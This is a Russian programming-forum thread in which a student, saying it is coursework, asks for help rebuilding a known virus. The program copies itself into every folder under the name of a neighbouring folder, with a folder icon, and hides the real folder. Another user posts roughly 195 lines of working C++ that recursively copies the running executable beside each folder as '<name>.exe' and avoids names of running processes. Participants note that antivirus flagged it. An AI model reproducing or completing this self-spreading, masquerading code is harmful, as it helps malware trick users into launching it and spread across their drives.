Форум программистов, компьютерный форум CyberForum.ru
Наши страницы

С++ для начинающих

Войти
Регистрация
Восстановить пароль
 
 
Рейтинг: Рейтинг темы: голосов - 29, средняя оценка - 4.83
IIIa66uMEM6eP
заставил Бендера
436 / 292 / 10
Регистрация: 05.12.2010
Сообщений: 1,646
Записей в блоге: 6
#1

Переименовать и скрыть папку, программно. - C++

18.05.2011, 17:41. Просмотров 3751. Ответов 35
Метки нет (Все метки)

Здравствуйте. Есть курсач(к УК не имеет отношения), часть написана, часть до реализовать.

Сама задача: файл(exe) должен скопировать себя во все директории вложенных папок, делать это срыто. - эта часть реализована. Остается сделать так, что бы при копировании в вложенную директорию, если в ней есть какая либо папка(папки) изменила свое имя на такое же какое имя у папки, и скрыла ту папку. В общем создастся некая замена папки на exe не видимой для пользователя (иконки у exe и папки одинаковые - уже реализовано).

Что прошу: как изменить имя exe на имя папки, как скрыть эту вложенную папку.
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
Similar
Эксперт
41792 / 34177 / 6122
Регистрация: 12.04.2006
Сообщений: 57,940
18.05.2011, 17:41
Здравствуйте! Я подобрал для вас темы с ответами на вопрос Переименовать и скрыть папку, программно. (C++):

Скрыть файл или папку и их перезапись - C++
Проблема такая если я скрываю файл или папку: SetFileAttributes("с:\\Папка", FILE_ATTRIBUTE_HIDDEN); ...

Как программно открыть папку? - C++
мне надо сделать, что бы при запуске программы, открывалась определённая папка, например: моя программа находится в папке MyProgram, в...

Программно загрузить веб-страницу, вставить текст и программно нажать кнопку - C++
Здравствуйте ув. Програмеры. Каким образом можно згрузить веб страницу, вставить в поле на странице текст из текстового файла и...

Удалить и переименовать фаил - C++
Уважаемые форумчане,подскажите как можно удалить и переименовать фаил?

Переименовать изображения в папке - C++
Добрый день! Подскажите как в цикле загружать изображения bmp из папки и сохранять под нужным именем? ключевой вопрос в том, как их...

Как переименовать проект? - C++
Доброго всем здравия. Подскажите пожалуйста, как в Visual Studio 2013 переименовать уже созданный проект. И как удалить самые первые...

35
kravam
быдлокодер
1696 / 883 / 45
Регистрация: 04.06.2008
Сообщений: 5,474
18.05.2011, 19:16 #16
Это я понял, я имею ввиду какое реальное имя присваивать, с расширением exe или без него?

Мне кажется, надо с расширением (а там уже пусть его будет не видно, это второй вопрос), ибо

1)если без расширения, то он не запустится , если в него ткнуть, НЕЗАВИСИМО от того будет оно видно или нет и независимо от иконки.
По крайней мере на XP 100% не запускается.
2) Если присвоить ему имя папки один к одному, то саму папку придётся переименовывать, ибо ось не даст чтобы и у папки и у файла было одно и то же имя. Лишний гемор.

Короче, я приду скоро, займусь этим. Программно атрибуты не знаю, как менять, буду соображать, с остальным вроде должен справиться.
0
IIIa66uMEM6eP
заставил Бендера
436 / 292 / 10
Регистрация: 05.12.2010
Сообщений: 1,646
Записей в блоге: 6
18.05.2011, 19:20  [ТС] #17
Цитата Сообщение от kravam Посмотреть сообщение
с расширением exe
да, нужно с расширением..
0
jonson
233 / 206 / 61
Регистрация: 18.03.2010
Сообщений: 750
18.05.2011, 19:46 #18
Цитата Сообщение от kravam Посмотреть сообщение
Если присвоить ему имя папки один к одному, то саму папку придётся переименовывать, ибо ось не даст чтобы и у папки и у файла было одно и то же имя.
это с чего вы взяли? можно создавать с одинаковыми именами, просто файл должен иметь расширение.
И кроме того, если я правильно понял автора, вложеный .exe файл должен иметь имя папки в которой он находится. А в этом случае я вообще не вижу никаких конфликтов.
0
IIIa66uMEM6eP
заставил Бендера
436 / 292 / 10
Регистрация: 05.12.2010
Сообщений: 1,646
Записей в блоге: 6
18.05.2011, 20:32  [ТС] #19
Цитата Сообщение от jonson Посмотреть сообщение
файл должен иметь имя папки в которой он находится
именно так.

Добавлено через 37 минут
собственно нужно еще дописать открытие папки, имеющая такое же имя, как и запущенная программа
0
kravam
быдлокодер
1696 / 883 / 45
Регистрация: 04.06.2008
Сообщений: 5,474
18.05.2011, 21:00 #20
Цитата Сообщение от jonson Посмотреть сообщение
это с чего вы взяли? можно создавать с одинаковыми именами, просто файл должен иметь расширение.
я об этом же.

Э нет, ребята так не пойдёт. Я прочёл, что файл должен иметь имя не папки, в которой он находится, отнюдь. А той папки, которая находится в ОДНОЙ С НИМ ДИРЕКТОРИИ.
А если таких папок несколько
"papka_0" "papka_1" "papka_2"
и все они находятся в однй директории "papka"

То в директории "papka" должны создастся 3 исполняемых файла с именами
"papka_0.exe" "papka_1.exe" "papka_2.exe"
а не файл "papka.exe"!

Добавлено через 1 минуту
IIIa66uMEM6eP,
ты уж разберись, что верно, это

Исходная папка А.
в ней вложенные папки А1, А2, в них тоже есть исходные папки А11, А12.
в папку А помещаем вирус(буду так называть)
запускаем
он имеет изначально имя virus, но как только увидел папки в директории, копирует себя и переименовывает соответственно в папке А будет лежать А1(ехе), А2(ехе), А1(скрытая), А2(скрытая)..

или это:

файл должен иметь имя папки в которой он находится
именно так.
0
IIIa66uMEM6eP
заставил Бендера
436 / 292 / 10
Регистрация: 05.12.2010
Сообщений: 1,646
Записей в блоге: 6
18.05.2011, 21:13  [ТС] #21
kravam, я уж и сам запутался..
Цитата Сообщение от kravam Посмотреть сообщение
файл должен иметь имя папки в которой он находится
нет не так.. должна быть подмена, ехе появляется папка скрывается.
Несколько лет назад был в интернетах вирус. вот мне его же функционал нужно повторить.

Не по теме:

так как копирую, кину текст в офф топ:
Вирус подменяет папки на ехе файлы с иконками, что удивительно, ни через проводник (со включ. скрытыми и системными файлами), ни Тотал не показывают оригинальные папки. В свойствах 1Гб флешки - показывает реальный размер 500 метров, а если выделить все файлы на флешке - не более 100 кб. Антивирус Езет не реагирует, если два раза кликнуть на ехешниках то открывается содержимое, но я думаю так запускается вирус.

0
kravam
быдлокодер
1696 / 883 / 45
Регистрация: 04.06.2008
Сообщений: 5,474
18.05.2011, 21:27 #22
Так, ясно, ещё вопрос. Допустим, имеется папка "papka" и в ней папка papka_0 и файл papka_0.exe

Теперь ситуация: запускается программа suriv.exe, работает с папкой "papka" и в ней наблюдает эту картину. Вопрос: должен ли suriv.exe создавать в папке "papka" свою копию с именем papka_0.exe, учитывая, что в ней уже НАХОДИТСЯ файл papka_0.exe?

То есть просто: должен ли suriv.exe подменять собой уже имеющийся файл (не папку! С ней-то всё ясно- просто скрывать!)
Что я могу:
1) Проверить для каждой папке наличие "рядом" экзешников с таким же именем. Если они есть- просто их не подменять собой и всё. Или:
2)Подменить файл- ну, как подменить. Опять же, я могу проверить, не существует ли в системе ПРОЦЕССОВ с таким же именем. То есть, нахожу папку papka_0, нахожу рядом файл papka_0.exe. Далее ищу процесс papka_0.exe. Если не нахожу- файл подменяется. Если нахожу- ничё не делаю.

То есть если есть процесс process.exe удалить или заменить файл process.exe я не умею. Надеюсь, пока не умею.
0
IIIa66uMEM6eP
заставил Бендера
436 / 292 / 10
Регистрация: 05.12.2010
Сообщений: 1,646
Записей в блоге: 6
18.05.2011, 21:36  [ТС] #23
Цитата Сообщение от kravam Посмотреть сообщение
должен ли suriv.exe подменять собой уже имеющийся файл
ну да.. должен.
Цитата Сообщение от kravam Посмотреть сообщение
Что я могу:
ну нужно было собственно, это - изменить имя exe на имя папки, скрыть эту папку
0
kravam
быдлокодер
1696 / 883 / 45
Регистрация: 04.06.2008
Сообщений: 5,474
18.05.2011, 21:41 #24
Я понял, я хочу сказать, что если есть файл pr.exe и процесс pr.exe (его ведь может и не быть), то я файл pr.exe подменить НЕ СМОГУ
Чё делать будем?
0
jonson
18.05.2011, 21:45
  #25

Не по теме:

Встречал я как-то такое творение, но работал этот вирус несколько по другому:
При запуске этого вирус.ехе, он копировал себя во все директории по всем папкам. Постоянно переименувуя себя в имя той папки куда "втуляется", при этом его значок с виду как папка. Но он ничего не скрывал и не подменял, просто распространял себя повсюду и всё.

0
IIIa66uMEM6eP
заставил Бендера
436 / 292 / 10
Регистрация: 05.12.2010
Сообщений: 1,646
Записей в блоге: 6
18.05.2011, 21:54  [ТС] #26
Цитата Сообщение от kravam Посмотреть сообщение
Чё делать будем?
ну явно не переводится на другую специальность)) давайте попробуем не создавать папки с именами процессов, и преподавателю говорить не будем что есть такой касяк, а если заметит - спрошу как исправить

Добавлено через 44 секунды
jonson, вот и преподаватель встретил) я теперь реализую
0
kravam
быдлокодер
1696 / 883 / 45
Регистрация: 04.06.2008
Сообщений: 5,474
18.05.2011, 21:59 #27
Ладно, за работу. Кстати, ребята, по большому счёту тут ничего вирьного нет. Ничего не запрещает проге распространять себя и давать себе имена какие вздумается. Не вижу также ничего такого, на что бы мог ругнуться антивирь в программном изменении атрибутов файлов.

Вирь это когда устанавливается соединение с узлом в инете. Вот это вирь.
0
IIIa66uMEM6eP
заставил Бендера
436 / 292 / 10
Регистрация: 05.12.2010
Сообщений: 1,646
Записей в блоге: 6
18.05.2011, 22:12  [ТС] #28
kravam, ну у виря основное качество распространение.. естественно все команды достаточно просты и не паляться,
я вам в личку кстати отправил код первой части - может пригодится..

Не по теме:

Цитата Сообщение от kravam Посмотреть сообщение
Вирь это когда устанавливается соединение с узлом в инете. Вот это вирь.
это уже интернет вирь)

0
kravam
быдлокодер
1696 / 883 / 45
Регистрация: 04.06.2008
Сообщений: 5,474
19.05.2011, 02:24 #29
Код вообще охренительный, некоего Юры (кстати, он ошибся в исходнике), рекурсивно проходит по папкам и выводит чё надо, я его каждый раз под свои нужды шлифую просто и всё, цепляю чё мне надо. Не очень читаемый, зато функциональный.

Короче разбирайся, тут много отладочной инфы и вообще аппендициты могут быть, если чё говори, я её уберу. Имя папки, думаю, разберёшься куда пихать. Если чё спрашивай. Компилятор g++ (IDE DEV C++)

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
//Код не мой, а некоего Юры, я его шлифанул
#include <windows.h>
#include <Winbase.h>
#include <stdio.h>
//Здесь определена структура PROCESSENTRY32 и функция CreateToolhelp32Snapshot
#include <tlhelp32.h>
 
long int rez= 0;
 
void GetFileList(LPTSTR sPath);
 
//Это вот будет имя текущего процесса 
char* ima_modula;
char temp [MAX_PATH];
 
int main(){
 
 
//        char sPath[MAX_PATH]= "E:\\vso_moio\\Программирование_на_C++";
//        char sPath[MAX_PATH]= "E:";
//        char sPath[MAX_PATH]= "E:\\vso_moio";
//       char sPath[MAX_PATH]= "E:\\vso_moio\\Программирование_на_C++";
//        char sPath[MAX_PATH]= "E:\\vso_moio\\Программирование_на_C++\\3_third";
        char sPath[MAX_PATH]= "E:\\vso_moio\\www";
 
 
 
 //Сразу найдём имя текущего процесса
 GetModuleFileName (0, temp, MAX_PATH);
 ima_modula= &temp[strlen(temp)];
 while (*ima_modula!='\\')
  ima_modula--;
 ima_modula++; 
 
        GetFileList(sPath);
      printf("rez= %d\n", rez);
 
//Портит всё дело: Если перенаправлять в файл с консоли, то полуачается, что в консол ведут 
//запись два разных потока- тот,который нужент и этот,который записывает "Для продлжения //нажмите любую
//клавишу" и эта надпись вклинивается в серёдку и портит всё дело
//  system ("PAUSE");
 
}
 
 
//Эта функция проверяет, есть ли рядом с папкой "ima_papki" экзешники с тем же именем
bool est_ili_net_fail (char* ima_papki, char* put_k_etoi_papke) {
 char temp_ima_papki [MAX_PATH]; 
 strcpy (temp_ima_papki, ima_papki);
 strcat (temp_ima_papki, ".exe");
        
 char ima_ekzeshnika [MAX_PATH];
 strcpy (ima_ekzeshnika, put_k_etoi_papke);
 strcat (ima_ekzeshnika, "*.exe");
 
 CharToOem(temp_ima_papki,temp_ima_papki);
 printf("%s\n",temp_ima_papki);
 OemToChar(temp_ima_papki,temp_ima_papki);
 
 CharToOem(ima_ekzeshnika,ima_ekzeshnika);
 printf("%s\n",ima_ekzeshnika);
 OemToChar(ima_ekzeshnika,ima_ekzeshnika);
 
 WIN32_FIND_DATA FindFileData;
 HANDLE hf;
 hf = FindFirstFile(ima_ekzeshnika,&FindFileData);
 if(hf != INVALID_HANDLE_VALUE){
   do{
    if (!(strcmp (temp_ima_papki, FindFileData.cFileName))) 
      return true;                       
   }
   while(FindNextFile(hf,&FindFileData) != 0);
   FindClose(hf);
 }
 return false;
}
 
//Эта функция принимает полное имя того, где находится папка
//а вторй параметр это полное имя папки и возвращает полное имя того, где папка находится
char* gde_mi_nahodimsa (char* zdes_mi_nahodimsa, char* put) {
 strcpy (zdes_mi_nahodimsa, put);
 char* temp= zdes_mi_nahodimsa+ strlen(zdes_mi_nahodimsa)- 2;
 while (*temp!='\\')
  temp--;
  *++temp= 0;
 return zdes_mi_nahodimsa;
}
 
 
//Эта функция проверяет, есть ли в системе процесс с заданным именем, имя передано
//в функцию параметром, если есть, вернёт истину, если нет,  то ложь
bool spisokProcessa (char* ima_papki)  {
 HANDLE hProcessSnap;
 PROCESSENTRY32 pe32;
 
 char temp_ima_papki [MAX_PATH]; 
 strcpy (temp_ima_papki, ima_papki);
 strcat (temp_ima_papki, ".exe");
 
 //Это мы находим дескриптор снимка процессов
 hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 
 if (hProcessSnap == INVALID_HANDLE_VALUE)
 return false;
 pe32.dwSize = sizeof(PROCESSENTRY32);
 
 while (Process32Next(hProcessSnap, &pe32)) {
  if (!(strcmp (temp_ima_papki,pe32.szExeFile)))
   return true;
 } 
 CloseHandle(hProcessSnap);
 return false;
}
 
 
 
 
void GetFileList(LPTSTR sPath) {
 
 char zdes_mi_nahodimsa [MAX_PATH];
 char novoe_ima_ekzeshnika [MAX_PATH];
 
 WIN32_FIND_DATA pFILEDATA;
 
 HANDLE hFile = FindFirstFile(strcat(sPath,"\\*.*"),&pFILEDATA);
 
//!!!!!!!!!!!!!!!!!!!!!!!!!!!!Необходимо именно здесь прописывать длину пути!!!!!!!!!!!!!!!!!!!!!!!
 sPath[strlen(sPath) - strlen(strstr(sPath,"*.*"))] = '\0';
//Если пропишем после if (как предлагает Юра), то тогда, если вдруг натыкаемся на системную директорию
// или файл, то FindFirstFile возвращает -1. Следовательно, всё, что выплнняется по условию
//(hFile!=INVALID_HANDLE_VALUE) не выолнится и в частности, не будет поставлен конец строки!
//А это значит, что по выходу из  рекурсивной функции GetFileList в том месте, где мы восстанавливаем
//Длину, она будет восстановлена неправильно
 if (hFile!=INVALID_HANDLE_VALUE)    {
  char * chBuf;
  //sPath[strlen(sPath) - strlen(strstr(sPath,"*.*"))] = '\0';
  do {
   //Пропускаем . и ..
   if (strlen(pFILEDATA.cFileName) == 1 &&  strchr(pFILEDATA.cFileName,'.') !=NULL)
    if (FindNextFile(hFile,&pFILEDATA) == 0)
      break;
   if (strlen(pFILEDATA.cFileName) == 2 && strstr(pFILEDATA.cFileName,"..") !=NULL)
    if(FindNextFile(hFile,&pFILEDATA) == 0)
      break;
     //Если нашли директорию, запускаем поиск в ней рекурсивный поиск
   if(pFILEDATA.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
//     GetFileList(strcat(sPath,pFILEDATA.cFileName), sExt, sEXT);
     GetFileList(strcat(sPath,pFILEDATA.cFileName));
      
      //Вот в этом месте мы должны запустить функцию, которая бы 
      //возаращала true, если "рядом" существует экзешник с именем sPath
      //и false если такого имени нет
      //но для этого сперва надо разобраться- а где, собсно, мы находимся? 
      gde_mi_nahodimsa (zdes_mi_nahodimsa, sPath);      
      
      //Отлично, теперь посмотрим, есть ли "рядом" файлы с именем, что и 
      //рассматриваемая нами папка
      if (est_ili_net_fail (pFILEDATA.cFileName, zdes_mi_nahodimsa)) {
       CharToOem(pFILEDATA.cFileName,pFILEDATA.cFileName);
       printf ("etot fail    %s.exe\n",pFILEDATA.cFileName);
       getchar (); 
       OemToChar(pFILEDATA.cFileName,pFILEDATA.cFileName);
 
       //Итак, такой файл есть и мы вывели его имя. Что ж, щас надо посмотреть, есть ли процесс
       //в системе с таким именем. Если есть- ничё не делаем, если нет- переименовываем файл
       if (!(spisokProcessa(pFILEDATA.cFileName))){
        CopyFile (temp,strcat((strcat((strcpy (novoe_ima_ekzeshnika, zdes_mi_nahodimsa)),pFILEDATA.cFileName)),".exe") , false); 
         //А тут надо скрыть папку с именем pFILEDATA.cFileName               
         //Как я не знаю       
       } 
      }      
      else {
       CopyFile (temp,strcat((strcat((strcpy (novoe_ima_ekzeshnika, zdes_mi_nahodimsa)),pFILEDATA.cFileName)),".exe") , false); 
       getchar ();
         //А тут надо скрыть папку с именем pFILEDATA.cFileName               
         //Как я не знаю       
      }
      CharToOem(pFILEDATA.cFileName,pFILEDATA.cFileName);
      printf("%s\n",pFILEDATA.cFileName);
      OemToChar(pFILEDATA.cFileName,pFILEDATA.cFileName);
      CharToOem(sPath,sPath);
      printf("%s\n",sPath);
      OemToChar(sPath,sPath);
      CharToOem(zdes_mi_nahodimsa,zdes_mi_nahodimsa);
      printf("%s\n\n\n",zdes_mi_nahodimsa);
      OemToChar(zdes_mi_nahodimsa,zdes_mi_nahodimsa);
      rez++;
//!!!!!!!!!!!!!!!!!!!!!!!!!!!!!оБЯЗАТЕЛЬН востанавливать дллину пути................................     
     sPath[strlen(sPath) - strlen(pFILEDATA.cFileName)- 1] = '\0';
   }
   else {
   }
  }
  while (FindNextFile(hFile,&pFILEDATA));
 }
}
Добавлено через 5 минут
прикинь чё, антивирь ругнулся на эту прогу

Добавлено через 4 минуты
пришлось исключения добавлять. Зато работает вроде...

Добавлено через 10 минут
короче чует моё сердце накличем мы беду на свою голову с этой темой.
1
IIIa66uMEM6eP
заставил Бендера
436 / 292 / 10
Регистрация: 05.12.2010
Сообщений: 1,646
Записей в блоге: 6
19.05.2011, 13:38  [ТС] #30
Цитата Сообщение от kravam Посмотреть сообщение
короче чует моё сердце накличем мы беду на свою голову с этой темой.
все вполне легально, пока мы это тестируем на своих компьютерах.. да и целью не стояло совершать деструктивные действия..
ну что ж попробуем разобратся в этом юрином коде..

Добавлено через 5 часов 27 минут
kravam, В общем остается проблема скрытия папки, что ж подождем еще мнений
0
MoreAnswers
Эксперт
37091 / 29110 / 5898
Регистрация: 17.06.2006
Сообщений: 43,301
19.05.2011, 13:38
Привет! Вот еще темы с ответами:

Как переименовать файл - C++
вот кусочек моего кода int open()//функция открытия файла { system(&quot;cls&quot;); redactor red; cout&lt;&lt;&quot;введите имя файла...

Как переименовать файлы в папке - C++
Есть папка со скриншотами. Необходимо их по порядку переименовать так, чтобы получились такие названия файлов 1.1, 1.2, 2.1, 2.2, 3.1,...

Как переименовать проект в codeblocks - C++
Подскажите, пожалуйста, как переименовать созданный проект, чтобы изменения сохранились, я пытался делать через properties--&gt;title , но не...

Перебрать файлы в каталогах и переименовать их, нужна помощь - C++
Добрый день. Есть следующая задача. В одном каталоге находятся картинки, все файлы без расширения. 1-Как перебрать все файлы формата...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
30
Yandex
Объявления
19.05.2011, 13:38
Ответ Создать тему
Опции темы

КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2017, vBulletin Solutions, Inc.
Рейтинг@Mail.ru